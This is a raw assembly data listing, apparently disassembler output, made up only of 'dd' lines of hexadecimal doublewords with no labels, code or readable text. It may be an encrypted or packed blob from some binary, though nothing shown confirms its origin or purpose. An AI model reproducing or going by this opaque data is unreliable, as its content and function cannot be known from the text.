		dd 7817EF9Eh, 5E548009h, 0D1795AE6h, 0C940E942h, 8130597Eh
		dd 6EC2A803h, 0EDC69F0Ch, 0D7C41673h, 31ABDA63h, 2F5AEDA4h
		dd 0F7129ADBh, 0DA28EAD8h, 0E3A95F70h, 0F4D71050h, 51C5627Dh
		dd 44D65C68h, 1E58688h,	0FEFA355Bh, 14A03F19h, 2957135Fh
		dd 1358D468h, 2270908h,	24FD365Dh, 926515Ch, 3ADF09BCh
		dd 5F37C243h, 0B5515B60h, 61E6C558h, 0AE25E921h, 2D7C393Eh
		dd 1A04A93h, 9E61E068h,	16C06059h, 0E0BF868Ah, 2CE8216Fh
		dd 0BF0017E9h, 7F12FDDAh, 6EFAC77Fh, 0B88C5F4Fh, 8CC95E0Dh
		dd 0F95B573Bh, 0D06201A7h, 23759EA4h, 0A1594571h, 0AA20F4F3h
		dd 0B00B8C1Bh, 419BE902h, 806B5EB3h, 28789981h,	0FCA8754Ah
		dd 4BEFC09Eh, 89D044DAh, 0E0C9FD79h, 0A2278502h, 0A4826A89h
		dd 596D1CABh, 0E5254D64h, 8832D93Ch, 301287F7h,	42EE014Bh
		dd 0CB82F4C7h, 0C02502F1h, 0D6A181F9h, 3116EC27h, 0C380C93Fh
		dd 0F2061DD7h, 7EF6A728h, 61CB0C32h, 58039F2Ch,	9844163Ch
		dd 6813E4CAh, 863A53AAh, 0BE7A2848h, 0DE4C50B8h, 51AF3BDh
		dd 0AF659A68h, 0BD409BCBh, 0A35B5E13h, 957339h,	28FD2C06h
		dd 2D6CB8C8h, 0EEE6EDFBh, 0A6F4DD24h, 236C6861h, 2D52305Dh
		dd 0C9455F50h, 6A8DD9ADh, 0AEFF0820h, 77E8E097h, 9298FBB4h
		dd 0E9571655h, 0BDAC537h, 0EAAC670Fh, 58BF0806h, 0E9C30B1Ch
		dd 8159723Bh, 0C54FE503h, 4AE0E22Fh, 26A50548h,	3B1BEDB3h
		dd 112DE5D2h, 0FE97C250h, 3E7D599Bh, 0F5E9FDCCh, 5C5013Ah
		dd 0A8200697h, 83739078h, 75200F90h, 685624FEh,	6718279Eh
		dd 6A0F5811h, 0EF555069h, 87E458Fh, 1F89CDC8h, 9EF6F8CEh
		dd 5488058h, 57E5020Fh,	29F4C6FAh, 11D3CE52h, 3C25E60Ch
		dd 5BA7E545h, 0C34B0C32h, 0B002EFE1h, 292D1262h, 0F400C0F7h
		dd 668807Ch, 887D4854h,	0C38ADA2Dh, 7F54B2CAh, 0E91710C4h
		dd 2DEA7ADBh, 7160ADF7h, 898068ADh, 3E5914F6h, 90848664h
		dd 66E447AFh, 0FA1D7259h, 84ACF5EEh, 1FD96B20h,	0B905EBC1h
		dd 0B426D6C8h, 0C5F30E19h, 0C2BA87A4h, 8046663Dh, 917B0297h
		dd 804E79D9h, 10096853h, 5B1803C7h, 0CC44DBF7h,	26CD7D4Eh
		dd 0A53C5343h, 0F0C3B241h, 72986B0Ah, 6C29460Ch, 1E258002h
		dd 6D79085Fh, 2608C588h, 0AA7D1391h, 0A27BAA39h, 6336D06Eh
		dd 0E8EC3654h, 58A8E9F5h, 0D289885Eh, 0CE814020h, 8C504183h
		dd 1217E681h, 0E20BB552h, 2802656Bh, 69599FAAh,	14988764h
		dd 778EABFCh, 1BA949C6h, 0B9D1662Fh, 60F5F9EBh,	650F7FE4h
		dd 86E6A3A1h, 0D44FE90Dh, 3CF0E04Ch, 32AC5A66h,	54BB8FF2h
		dd 29AFC3A2h, 0FA2FBB78h, 0D201245Fh, 3E99C01h,	0C6F98157h
		dd 3BEC5D09h, 0D9344EEDh, 2C32583h, 0F6617E8h, 0CCF2AF4Eh
		dd 1756E511h, 6C0159CEh, 6E9D4E97h, 1FB39D40h, 0A93B50D6h
		dd 7C92E05Eh, 0FBF6016Dh
		dd 0E97FD21Ch, 54ADA79Ch, 6A45FA06h, 282B632h, 0DE445355h
		dd 5FE8AC20h, 7592445Dh, 1EBF128Ch, 0ACF30B90h,	1BBA8E8h
		dd 2562C89Ch, 2D330A79h, 1CD689DAh, 0E9165F8Bh,	5A3BA3B4h
		dd 0A25B65CAh, 61EFC8E6h, 330352E9h, 2A2622Ch, 7EC7D56h
		dd 0A257690h, 3289465Dh, 0C2A9B5C9h, 21D76CE0h,	0E936095h
		dd 9398BF6Ah, 7B004F7Ah, 0FD2D5975h, 0EA29B40Ah, 965827FBh
		dd 4D93F7DCh, 0B5EEF5A4h, 68658B2Fh, 5AA192EAh,	9CF568C2h
		dd 0DB32974Dh, 51CE49FFh, 0C1EEB6C9h, 32F8C12Dh, 0BCC65B28h
		dd 0E9C5822Ch, 0EED5AFCEh, 2CD00730h, 33355A47h, 536EC2AAh
		dd 7E0FE6C1h, 639DBC1Ch, 4D4E9168h, 5F543E81h, 9D45B230h
		dd 4A9B2EE8h, 5552B1BDh, 1473B67Ah, 5BC85EF5h, 0ACE90CD3h
		dd 2BBBF6D4h, 0F4404A4Dh, 59BB5352h, 11C92C2Bh,	5BA9105Bh
		dd 40ED12CDh, 0A66F6575h, 0D24C1799h, 882B3E29h, 0CE40E512h
		dd 844CC759h, 0C3612750h, 195D92F6h, 0D466273Bh, 1F0B49F0h
		dd 6908FCE5h, 149A2CB8h, 5B36AAF4h, 89005E6Bh, 5FB951E6h
		dd 2541E346h, 71C2A7E9h, 6817F03Ch, 9CF31E6Fh, 5A291035h
		dd 7DC059B7h, 0F5826AFFh, 9F891D45h, 687EB0F4h,	0BC635A91h
		dd 27E9F80Ch, 0A3F96031h, 0FCF920Dh, 8304378h, 0D45A5D40h
		dd 0E9A1015Bh, 0FF1EFDD3h, 23A54C9h, 51B1D9C0h,	685000BBh
		dd 7E14453h, 0B6092899h, 87B879A3h, 0EF517252h,	83E35DADh
		dd 0A13F9968h, 0F2A85E6Dh, 57CB12DFh, 661B62BBh, 4942657Eh
		dd 0F8560F54h, 1141321Fh, 3EE47F47h, 76CCF704h,	0CDC02C43h
		dd 12D92AF4h, 10FE011Fh, 5F2D08D6h, 0DFE9E298h,	831D7E94h
		dd 8EF4CABDh, 7BDA4178h, 0B789738Ch, 42203ED8h,	0D4799F66h
		dd 0CAD3599Fh, 0B1B566FCh, 5D217A6Eh, 0DF4D3C40h, 75ECCA41h
		dd 5EA57C74h, 0B47B8C21h, 7AE02200h, 0FF291DB9h, 0BDFDB09Dh
		dd 0C19F36DAh, 0D935BA2Fh, 283782D0h, 0EAC0E13h, 61DB518Bh
		dd 3876CAC0h, 0E918661Fh, 0B66B7A3Bh, 6F449458h, 0EEF7A4D2h
		dd 1FEC854Ch, 7B09556Fh, 5B3056C6h, 74E90494h, 5D5C09D1h
		dd 9859AC43h, 68163DFh,	0D818C0F2h, 9F000C0Dh, 974897Bh
		dd 956AE9D6h, 35405000h, 4924ED8Ah, 0DD10DC27h,	79335E10h
		dd 8700D74Ah, 0F94EE3BEh, 1C93B026h, 4F56660Eh,	0C163DEF7h
		dd 0BAFE07EEh, 3D04CD00h, 5EF089ABh, 48FF6950h,	59E80DDh
		dd 5AB65AAAh, 55861356h, 0BC52B6D4h, 81D6F1DAh,	55E95058h
		dd 0CA2E9772h, 1BB77F42h, 5F80C2DEh, 5CD66809h,	2601FC2h
		dd 1EC1F75Ch, 19DDE2BDh, 607B5ABEh, 0F73FEE20h,	0D50B6F72h
		dd 0F9CCC3E9h, 202128C0h, 83807D9Dh, 0A313CDC6h, 0E1200D0Ch
		dd 2F6940EFh, 0F5C16252h, 5D0840C7h, 0D64B55E9h, 8342698Dh
		dd 9C8DF9BEh, 58E700A1h, 6610CF80h, 0C46E507Ah,	5EF8DE14h
		dd 44AA5665h, 0DC81CE78h, 675B455Ch, 0E90BE8F3h, 90D79029h
		dd 0D2B83B33h, 3625EAD9h, 0F199421Fh, 1320E291h, 0B380826Bh
		dd 0A13D30F2h, 6E49757Ch, 0C15D066Eh, 99DA0EE8h, 0FCC3132Ah
		dd 0D73F845Dh, 0C1B6802h, 112014ECh, 8F8997DCh,	0B5202865h
		dd 720E222Fh, 0E9025F34h, 9CD68AB9h, 1E220597h,	0D4126059h
		dd 4C243087h, 81CDE90Eh, 0EACC1B97h, 5ABF008Fh,	334C5134h
		dd 0BD15606Fh, 16E0743h, 7AE58129h, 201D4967h, 21125AB4h
		dd 5FF05EE2h, 2C231329h, 3922E0D1h, 347B1AF0h, 0F13D4282h
		dd 424E263Ch, 0FEC138h,	89125110h, 0C40297FEh, 7E345B4h
		dd 5780F392h, 0E913FCC4h, 0F460B13Eh, 0E6827569h, 8BEE3D31h
		dd 79D3144Dh, 0ACDB4592h, 0E6829DAAh, 0DD351E52h, 0E92A1566h
		dd 0B6079A6Bh, 52D6F60Bh, 9DA026A5h, 0F007ECC0h, 108D61EBh
		dd 2C59CD29h, 80549366h, 83B57F12h, 24987935h, 2F8FDFCFh
		dd 0CBB936F6h, 5DC966ADh, 54EB3F4Bh, 608ABFBCh,	3A2BEB89h
		dd 3150A5D4h, 20B1A4F8h, 0B13BA874h, 0A285A6EFh, 0F6CB8883h
		dd 9EC6CBD3h, 0FBB81E12h, 53278942h, 857B817Fh,	88401230h
		dd 9F4C14F1h, 7C0C4541h, 464E1647h, 0C7226CC7h,	7C42D5CEh
		dd 21C418DCh, 42E721FEh, 48E8737Bh, 0D3CF2C4Ch,	0C5040940h
		dd 0C6A9D4Ch, 68580800h, 969F5114h, 249994B9h, 0EBBB1283h
		dd 56588231h, 1755E63Eh, 82B75AD6h, 0C97FB84Eh,	44C4D62Dh
		dd 6806E030h, 0AAB8B25Bh, 0B544C1DDh, 0A5D530C9h, 0E90C81D3h
		dd 0B3C53C4h, 900ED4B7h, 3A23BB1Bh, 0EB24F825h,	0AAF2E7D7h
		dd 628DFCD2h, 0B900500Eh, 3E4E48h, 84C18116h, 4931A556h
		dd 41FE1AB8h, 34015149h, 65BF0845h, 0A4CCF00Eh,	0E947E30Bh
		dd 0E05CA8A8h, 0F32A0F3Eh, 0D42C651Eh, 8C929867h, 8B4ED4C6h
		dd 12446B99h, 20278990h, 0BA9C56h, 6E735E2Dh, 21E95722h
		dd 2739935Ah, 800945F8h, 0B1005150h, 2CB2B0CDh,	74C82893h
		dd 0EC597304h, 0FED00186h, 885366C2h, 2760CAD3h, 0B9CC3DDh
		dd 10C07D96h, 33230FBDh, 257A2A38h, 8C0BB57Eh, 302F3978h
		dd 8D3F712h, 0F063E993h, 2E5D825h, 6EE25DB3h, 0BBE15CB9h
		dd 96846EF2h, 0D60696B2h, 0C130750h, 3B27F5E6h,	9C7CFC0Eh
		dd 77678C3Dh, 7A2E92Ah,	824B3459h, 0F9511F81h, 8850074Ch
		dd 820229D4h, 4CDD0373h, 0D71020D9h, 9EEB8102h,	42DF78EFh
		dd 2D4CD518h, 1CDCE9Dh,	664DC32Dh, 21C8012Ah, 0CF35FC6Eh
		dd 0E9467204h, 21BB9F38h, 57E7DF1Eh, 0F116F247h, 44A4A52h
		dd 89683A2h, 5F16BCFBh,	89392DEEh, 5D57589Bh, 32A8B296h
		dd 9D4A685Fh, 329412A3h, 13AF3710h, 7C17FD01h, 5F27E6ADh
		dd 0E950505Ch, 27259AB8h, 56F91C87h, 0B635588h,	75846F34h
		dd 0D225BCA6h, 0AF0FE40Ah, 8908ACACh, 1A0E2C81h, 155753ACh
		dd 59A627DFh, 0C3404251h, 358B2568h, 0C3817112h, 0DFE5344Eh
		dd 0A3C56F7h, 0F540E915h, 0A7FD24C4h, 47ED8759h, 0C6100078h
		dd 8145006Ch, 123901F5h, 310CC166h, 0EAB10EABh,	0EE0D415Fh
		dd 58798C3Ah, 37A2D00h,	81350C67h, 0A51A27B3h, 0A07F35E2h
		dd 0A077E523h, 5249B62Fh, 596934D6h, 225BA7E2h,	71D0E906h
		dd 0DCDB776h, 33586716h, 0C0FD70CCh, 934FF72Fh,	998D489h
		dd 621A4AB7h, 626AFD7Dh, 48138081h, 5B2C785Ah, 0FBF899CDh
		dd 7EC89562h, 41CA6DEBh, 5103B8FAh, 0C1E9F7Dh, 1A5E5446h
		dd 3C00CF0Ch, 97670C75h, 94BF08E9h, 7F046B36h, 4A96FCFDh
		dd 68CF38AAh, 9A70DC25h, 0AE2E60A2h, 15C83D14h,	0AF51D127h
		dd 64AEE160h, 0F70D0143h, 0E94941D9h, 28BF89A7h, 1AB87BFDh
		dd 0B9F3CD98h, 498E725h, 0D76422E9h, 24050BD7h,	0F81C95C1h
		dd 72F4B7EAh, 0FC5B43A8h, 68A9B775h, 834CD012h,	0B5BCBABh
		dd 0EAE6BE16h, 310CD319h, 634312B8h, 4ABEC2AFh,	35A985h
		dd 20365740h, 4A46FC3Ch, 8C82B9FEh, 5CAD13F1h, 0E5208352h
		dd 0D2BF157Dh, 345A5C9Dh, 0BB66832Fh, 25897394h, 0B12BD952h
		dd 3E48717h, 0E6B2F95Ch, 406B78E5h, 0FCF381E8h,	227C5631h
		dd 7216B34Fh, 4701EE13h, 1D5689Eh, 6DC45138h, 0C05B00FBh
		dd 388005ECh, 0F858D9C4h, 96DA7112h, 6000921h, 0C15EF021h
		dd 43112E8h, 0B46850C8h, 918AAE53h, 4EA0F94Bh, 30A906FCh
		dd 725EB978h, 134DDBF6h, 0AD04302Dh, 5FEFF654h,	53D84ECCh
		dd 5A78A07Eh, 5E8AD6A9h, 0EB46F997h, 0E962D976h, 9E8EFC76h
		dd 3495AD34h, 200796ADh, 5813B77Ah, 0C545D988h,	0E365AE39h
		dd 154D8BEh, 0E9ACA197h, 0B334DFCAh, 0DD2E63F6h, 53019C23h
		dd 440FB951h, 0ADF063E7h
		dd 19897D5h, 0D42F03A0h, 0CC266047h, 0BFC0706Ch, 108FEA45h
		dd 213A8044h, 2C4358C3h, 0A671534Bh, 0E90B30E2h, 0E2B65CF6h
		dd 0D774B143h, 0BEA023FBh, 5093883Ch, 0B3E6FBBh, 3BC0B6E9h
		dd 34CE4C0h, 0C66A2703h, 135D4A13h, 1E498CFh, 4095C2A4h
		dd 6BBF3h, 89554A27h, 51CA68F5h, 0D7CBA9BDh, 60C61F91h
		dd 2980E74Ah, 60FAA1C3h, 4AFBC204h, 395FA3A9h, 2C2A2C46h
		dd 4D27E9A5h, 116E4D8h,	397463BFh, 897C297Eh, 0C2DBE99Ch
		dd 495851A2h, 0A0D4FC04h, 0EEBF5608h, 313341BBh, 427F650Dh
		dd 8AF6F075h, 8600CE2Ch, 52F3E63h, 24DC1274h, 5310BB30h
		dd 0CD640785h, 0AEEF2D28h, 0E9762151h, 493EC741h, 0CF104058h
		dd 301E0DF3h, 0CDC90CE5h, 5BB6745Ah, 0FDFB75EFh, 0D8A175B0h
		dd 0C34702DFh, 0F04BE825h, 0FA092884h, 346B41AEh, 317E5EB6h
		dd 899D6EF6h, 7082F260h, 0D5882EB2h, 0AA9516BCh, 5E131975h
		dd 0F559E882h, 515F8F1Eh, 0ABA4BAA9h, 0C288E507h, 83C5C2Bh
		dd 5E3B8637h, 9DFA67C4h, 795BA599h, 16F6CB3Eh, 0F449E985h
		dd 62804F88h, 7E92F0EDh, 0D1954CDAh, 0BD4309ADh, 924AEFC4h
		dd 455FF0F0h, 0E930114Eh, 454B2BAEh, 1BFCF3E3h,	52250D7Ah
		dd 0B60F8261h, 12BADE31h, 8F63433Dh, 80C14047h,	0A1817849h
		dd 323E4C68h, 0EF615531h, 3A02953h, 7DAA5D34h, 4383B429h
		dd 303FC85Bh, 46D604F7h, 0FD4E47E9h, 1D814B6Eh,	0B401A672h
		dd 8824DCC1h, 11090ECBh, 89AC3C94h, 78C20F39h, 0AD7627ABh
		dd 35E90682h, 9BE77502h, 0E9021C44h, 2F5FD15Ah,	76B5993h
		dd 41EBC111h, 48727A5h,	4ECAF280h, 0B94F022Dh, 6A78310Eh
		dd 826169FFh, 0B2590BCEh, 0A5404DCBh, 0ED4FD8DAh, 0F73901E2h
		dd 4261F96h, 12F96105h,	0C4C012FFh, 0FA1CC5AAh,	0CE8B54h
		dd 2B3C6101h, 0B95859E9h, 68558AB5h, 534A09BDh,	0F6C7B074h
		dd 2EBE20D8h, 0E4146C92h, 6688BBC2h, 67531337h,	3F72EBB6h
		dd 9DE5FBE7h, 6496A583h, 0B70F5C02h, 0CC3068C8h, 6AE92DCDh
		dd 8B69DC0h, 1FFC51BDh,	701D4B5Fh, 6A9D0AF2h, 8E9F4D5h
		dd 5E12E510h, 544A2AECh, 0D15680Fh, 5203D6D2h, 6447168h
		dd 6E994E13h, 45E420B8h, 0BBC80F88h, 0D08AB9D1h, 6B60AD02h
		dd 66BF723Eh, 9CD8993Bh, 0A26B5368h, 5D98DA44h,	3F8D8CAAh
		dd 0BEAA855Bh, 21207ED9h, 220559FEh, 0C02CE70Eh, 0BC08026Bh
		dd 0C3868B8Bh, 0AC90AA85h, 0EA8009A2h, 74D98B01h, 663132BAh
		dd 0E65BEBC1h, 0F6F28100h, 0DCD616CAh, 0F5DE029h, 3EACA455h
		dd 0C281C880h, 0F5841FAFh, 9F7EDB72h, 0C1C1FC3Fh, 0AC497430h
		dd 0A84525D5h, 0B4C13413h, 88109078h, 0ABF2800Ch, 619DB1A0h
		dd 0F06EFEF0h, 85BD719Dh, 8DACC3E8h, 5DA99231h,	70CA2F05h
		dd 0D64F5A62h, 4D392D00h, 0E0774FE3h, 5540C376h, 20B7B004h
		dd 0B0B59E6Ah, 0C4D70112h, 0A8BF7EF2h, 71139EB5h, 7DB80F40h
		dd 414806Ch, 6B1FD425h,	0F703FE08h, 4FE7A05h, 0EE9C7E3h
		dd 8F4BEC5Ch, 4521B366h, 810046F7h, 3C77AFC7h, 134F2C3Eh
		dd 0DA20E59Fh, 244C7533h, 0E28B90Bh, 0C489F4B3h, 0E0B167F0h
		dd 0AC30E9E2h, 0B4FD0B1h, 897EFB61h, 4B0C6702h,	8790B647h
		dd 49825C24h, 0A51226FDh, 0FA70BFA5h, 9BF4C2E4h, 826957F5h
		dd 588B870Bh, 8EFFCE4Ah, 28640894h, 0E4553109h,	3A406F1Bh
		dd 0F4C9F2C9h, 50F65F02h, 1D5A73Ch, 5E0568B2h, 445A1E23h
		dd 0AA98A93Bh, 0DE88189Dh, 0C5816794h, 1A3B1BA9h, 0EDE1F5F5h
		dd 835E0841h, 0F88E41FEh, 2EE8177Eh, 47F710E3h,	749D2501h
		dd 472D3D01h, 0BF1905FFh, 84084184h, 0BCAD13F0h, 0DF04A5FBh
		dd 0EB49BCD8h, 0AF586A56h, 0E121C9C7h, 11C1ED5Ch, 5C387E25h
		dd 504B7300h, 2BEA811Ah, 36F46718h, 2035A40Ch, 0AB092609h
		dd 556F5274h, 75807409h, 9F02031h, 0E9FE2109h, 0F4325FC8h
		dd 0DE5EE05Dh, 0ABD682F5h, 3ED3001h, 0F5E3D901h, 165B080Bh
		dd 0F696C180h, 300C1B3Eh, 0DDFF41Bh, 4234E0E4h,	5E1357EDh
		dd 10D9E3C0h, 0AD07DC4Eh, 207F83h, 528A840Fh, 0CCEE89C0h
		dd 0E4D4Bh, 6851C601h, 18CF718Bh, 0D9F7590Fh, 0C5B92157h
		dd 4CC5E97Dh, 84799028h, 438A68BFh, 44F6082Ah, 0C7204C01h
		dd 0D22F9769h, 0DE87375Ch, 13121072h, 8318465Dh, 0F31401C6h
		dd 0E918C42Fh, 0BEBE94CCh, 40AB2A98h, 0F300059Ah, 2D753730h
		dd 0FFAD3F0Ch, 1FD2846Fh, 0F4112807h, 593879C2h, 6885A879h
		dd 9044A110h, 804AF96Ch, 0F0F68159h, 228E8612h,	0BB009BFCh
		dd 23617DAFh, 0E5AACB31h, 0A33D5E60h, 44C6A983h, 58C7AF8Bh
		dd 0FDA0D102h, 5D88B302h, 43FDEA6Ah, 0F0060913h, 8C50B5E9h
		dd 842B3397h, 0E62B70F1h, 5EFF9429h, 0E90C7CBDh, 84858E43h
		dd 2D684188h, 20981693h, 602D4A3Eh, 0EEB5A54h, 2EED3DD4h
		dd 0EBEE2C0h, 1CC976BBh, 846B0E4Ah, 41C1D4D0h, 88029BFDh
		dd 591E28D6h, 73B1F592h, 1FC8982Eh, 76270EB4h, 0DBA1F82Ah
		dd 919C8992h, 95BB2746h, 0B574E48Bh, 6D0BB248h,	27E6907Dh
		dd 17972E7Fh, 25FB10F9h, 63BE164h, 0BE564380h, 6DB233F9h
		dd 0A0BD5506h, 359CCE6Ch, 0E0227370h, 361D88C4h, 80BF297Ah
		dd 41D60880h, 93BF79E9h, 0CF898F6Ch, 89622089h,	85F01A57h
		dd 33AA7C46h, 0AD955AD3h, 890E1074h, 3644052Dh,	0BBEABE27h
		dd 44D0D910h, 6E15DD2Eh, 0E2D2C9E2h, 7C76168Ch,	9CF52DACh
		dd 474090F9h, 58E10B88h, 3C83D1F6h, 0E702F9DFh,	48B5E6Bh
		dd 80A65051h, 824B5FEFh, 9129E00h, 0EB49311Fh, 5056809Dh
		dd 299868h, 5582B48h, 14D808A4h, 17F48958h, 3C25D903h
		dd 28CF2700h, 0C0587CD7h, 2D45D80Eh, 2C33E960h,	0D2292843h
		dd 0CA69F505h, 5435F55Bh, 0B753A895h, 35B054F4h, 0A6230968h
		dd 0E1546DBCh, 82109102h, 5A52C047h, 8148B229h,	0CBE65E0Bh
		dd 51A68A7Bh, 0F2C40D17h, 3532AAFh, 3E04DA85h, 66079EEEh
		dd 0F10521ADh, 0DC2DD829h, 0D801E8FFh, 82E1529Dh, 327BC009h
		dd 208881E7h, 6E40A0F3h, 28EE2680h, 0CEFE0F03h,	0AA78538Bh
		dd 3F204597h, 91E65617h, 5E417B7h, 685030FFh, 0F09311A8h
		dd 7443FA02h, 290BC06Dh, 7E363A70h, 0FD50D520h,	482C218Fh
		dd 0C0B9F31h, 7CEB14CFh, 827D20D3h, 5E30C398h, 3ECD2542h
		dd 286B7A44h, 26109DBDh, 6AEA84D1h, 0E64DC70Fh,	644066E5h
		dd 55270168h, 31586E0Eh, 658288C1h, 0FB64134Ah,	52EDE252h
		dd 4E22BE02h, 207426FBh, 23E90305h, 9C00F3D4h, 28E8F680h
		dd 0A15A4AF1h, 7FC9F91Dh, 0F647ECC2h, 0ED5B1652h, 92C210CDh
		dd 12582D01h, 7829F4EFh, 28FA26EFh, 1332E803h, 0DFDAC20Fh
		dd 0A2594CCh, 3C38555Ah, 11BD5689h, 3B785C1Ah, 0A71C9A9Fh
		dd 48F5D400h, 4F003F3Bh, 6E54F781h, 0B72908B7h,	0D8C24141h
		dd 0FE608857h, 497EF2F0h, 44C982Fh, 6065E2CEh, 5446C222h
		dd 263C46F1h, 10AD42BAh, 80C478EEh, 5097D2F7h, 0A14A2588h
		dd 0D02F2059h, 57E5BD40h, 7113F62Dh, 0B7A43BD2h, 24415A60h
		dd 3A299CBBh, 0D12A6B41h, 4F0AC68h, 0E31F04BAh,	97A812B9h
		dd 0ED4DB44Ah, 5CCEB03Eh, 0E82B568h, 3CA009DBh,	8CA9FE41h
		dd 0CA4DCBBFh, 40837C5Dh, 7F074AA1h, 3C7DB9Fh, 509F8D5Fh
		dd 32E02200h, 9BE94C3Bh, 2F3F92C1h, 23F1742Fh, 0E1310EFh
		dd 0E66F7F1h, 44F98851h, 49C159CAh, 317ACEB9h, 54B0FFCh
		dd 0C141D105h, 11272065h, 5F741EF2h, 71F28766h,	8853B0A8h
		dd 0BA50E739h, 6B63D8F8h
		dd 88C671E4h, 290A56A6h, 0DF01E8FBh, 18CA685Bh,	7485E901h
		dd 810935E0h, 55204240h, 1E90A564h, 24C1FE40h, 54605EFh
		dd 0C02A7BACh, 61CBC6B6h, 2957F013h, 800C4E1h, 0C086DEE9h
		dd 79B951A3h, 7A16BF01h, 0E909D9F7h, 77DC86ADh,	4B4B7E0Ch
		dd 2553ECF4h, 4B07959h,	0F3A7B6E9h, 9AA25E51h, 42976D16h
		dd 650CA140h, 8DAF543h,	0A3DF8D84h, 95B02A5Bh, 5C79AD90h
		dd 94DE0275h, 6771B907h, 2DE978CCh, 0A55EF7C3h,	504664EFh
		dd 5B1930BEh, 5F5B5E6Fh, 2617AABDh, 97FF9C2h, 0B0504168h
		dd 270AFEA9h, 0BF001B75h, 405999F2h, 49E9230Bh,	409FDEE3h
		dd 0F58102E5h, 82F8070h, 574D42A2h, 0E4E95C38h,	0AD13369Ch
		dd 34C71101h, 0FB604CAAh, 512E753Ah, 1020C4F7h,	0AA17FEEh
		dd 0C60150AEh, 610820D5h, 6B58C957h, 64242B3Bh,	0FE0F508h
		dd 99254D05h, 80468407h, 0A76F4630h, 0F95881E5h, 0E9680E4Ah
		dd 30A5CE21h, 1401C37Ch, 2955A34Eh, 9A0CD8DAh, 0E9B9B405h
		dd 0FFFD0284h, 0CBE9F999h, 0E94F7E3Ch, 3F3D8441h, 45374EAh
		dd 2AF9A23h, 0DF51E1F7h, 0DB97E0BEh, 4AA032EFh,	4577866Ah
		dd 0CBD91F48h, 1E71F1ADh, 0D96C348Bh, 0E378522h, 0E957C246h
		dd 0CF620F71h, 28BF258h, 0DCEC468Fh, 0B07FDE01h, 9ECDE9B1h
		dd 4BD925D2h, 8B79746Bh, 0F0DCCDA7h, 832FD49h, 15DDAE81h
		dd 0C3472026h, 1BEC8D5Eh, 3E9C4BDEh, 27C80127h,	8C646F0h
		dd 0F296D1A0h, 95994C83h, 2ECCF051h, 0FC7E4403h, 3C02120Bh
		dd 2F018CE9h, 0D390B5C3h, 0A082605Dh, 0F7FD8762h, 1308DAD7h
		dd 8BDAA057h, 97D446C3h, 0C0CFC063h, 0FDA65AA0h, 0C7BD094Fh
		dd 1D94E987h, 3E004254h, 3075E77Fh, 0A525E90Ch,	7E67FC6h
		dd 4A017B16h, 0AFCC70Dh, 3B605501h, 310629C7h, 3087FCEh
		dd 9D990191h, 4AC0503h,	0F1CF142h, 1B842A85h, 0D5B0060Fh
		dd 95433118h, 8C5B6008h, 8162618h, 18B16305h, 818E49Eh
		dd 4A1868E6h, 8E178049h, 3A0F10C6h, 704F2008h, 20E6F631h
		dd 891FE09h, 5C6370FBh,	1841AB20h, 18D7AE08h, 0C9C896A5h
		dd 61A90888h, 18BCA608h, 656E8980h, 0DCEE38C4h,	470D804h
		dd 0CC06B349h, 2D31207Ch, 76A1088Bh, 8C846001h,	8C82C20h
		dd 3B9240F3h, 40FDA440h, 4862B48Fh, 2508C30h, 0E303AFB1h
		dd 1F183105h, 3ED2C99h,	1739106Dh, 3EFD1820h, 0C6943908h
		dd 8CABF18h, 18261E37h,	3608A2F4h, 0C07BFE8Ah, 31A43195h
		dd 693D1053h, 0B0DB0888h, 20440A0Ch, 81D6224h, 7C0390CAh
		dd 23201958h, 242F98Fh,	1C94A3FFh, 7008150Bh, 0FB20B4B6h
		dd 31629720h, 2B203B28h, 22088C45h, 405618B4h, 7A641430h
		dd 0D81E8B31h, 0BF3E08A3h, 998C3181h, 0AD10DB94h, 4C214D64h
		dd 8F65506h, 28755031h,	76014F1Dh, 83108C43h, 7CB5086Ch
		dd 3CA28274h, 0AC056E9Ah, 0CC37D846h, 84E66E9h,	883151E7h
		dd 7F610812h, 1844B01h,	0B20174B1h, 0A030BD68h,	81A1206Dh
		dd 24731320h, 0AA20C48Ah, 5AC5208Ch, 20D47420h,	0D329CDAh
		dd 0A26C08D0h, 498245D8h, 58246F48h, 4238C47Dh,	93B10470h
		dd 923CB904h, 8E02A198h, 87AB0382h, 8A721012h, 18203C48h
		dd 0E537B1CEh, 35F708C6h, 0B2BD2018h, 20F96520h, 4933792Fh
		dd 0A68F0851h, 82AD818h, 0F683841Fh, 61AD20F1h,	85FE732h
		dd 0A5984B8Dh, 2527AC49h, 8449B640h, 6918AE67h,	75E42463h
		dd 188CD01Fh, 6F08E00Ah, 0EC30C622h, 0DD6699A5h, 32111908h
		dd 1E204D15h, 3AC5F8A2h, 4859D02h, 58949173h, 0A28E02B9h
		dd 3B7C6CCh, 2944C3D7h,	0F0407BA4h, 347740E4h, 0ABACA640h
		dd 891C4BCh, 10889807h,	870C183Ch, 40C0081Bh, 9C136054h
		dd 0A424E8FCh, 0E9C906AAh, 8B3C3644h, 12672C7h,	47801342h
		dd 0EB02752Ch, 0E896313h, 3D7AA7B9h, 44010500h,	0B49408Fh
		dd 0F77517C9h, 7A4E1C8Bh, 0F003DE04h, 33D7B4B9h, 0F0CC078h
		dd 2C304FB1h, 7DE91AACh, 0E6DF1E1Bh, 68F0F793h,	123AD340h
		dd 9F35B961h, 55FAAEC9h, 5C9F86E5h, 77B749CBh, 5EFE589Eh
		dd 910FEA50h, 6756A716h, 38F89EB1h, 0BA1CC084h,	6C8E62C7h
		dd 30FA3139h, 0DFF708D7h, 2DE9F087h, 9DD148F3h,	0A619092Ch
		dd 10F84210h, 0A2B8D33Fh, 0E90D98FEh, 2EA869ECh, 84CF62DEh
		dd 540509FBh, 0F515F85Bh, 1B0C8BFEh, 0A772165Bh, 5A9AE063h
		dd 0C096A828h, 0EE3B43C6h, 284BB81Dh, 1708B850h, 3603C0E9h
		dd 0A9751CC2h, 25226C01h, 10E15E06h, 8097C72Eh,	344558DCh
		dd 90D0F72Ch, 8E8C3505h, 4D600EB1h, 0CD810303h,	6DF45932h
		dd 2A60C0B7h, 0C5B89C89h, 0B827F100h, 0E9EA0168h, 78476BE6h
		dd 0D271B57Eh, 23E447Eh, 9FD8AE34h, 523BC0EFh, 7A71A568h
		dd 215A460Bh, 8AB2F7D5h, 19B191C0h, 0E9452905h,	920E0658h
		dd 33AAC65Dh, 0AC4D4A0Ch, 2A2065B2h, 9EBBE56h, 5C7E52F7h
		dd 25117F02h, 7C8A859h,	0DA015A06h, 83EA0114h, 97CDE35h
		dd 0D580F2D3h, 5E75CA5h, 50630CC5h, 0BF57A800h,	48160C96h
		dd 7D05B87Ah, 0C04E9864h, 0C92526DAh, 8CF04F5Bh, 88436785h
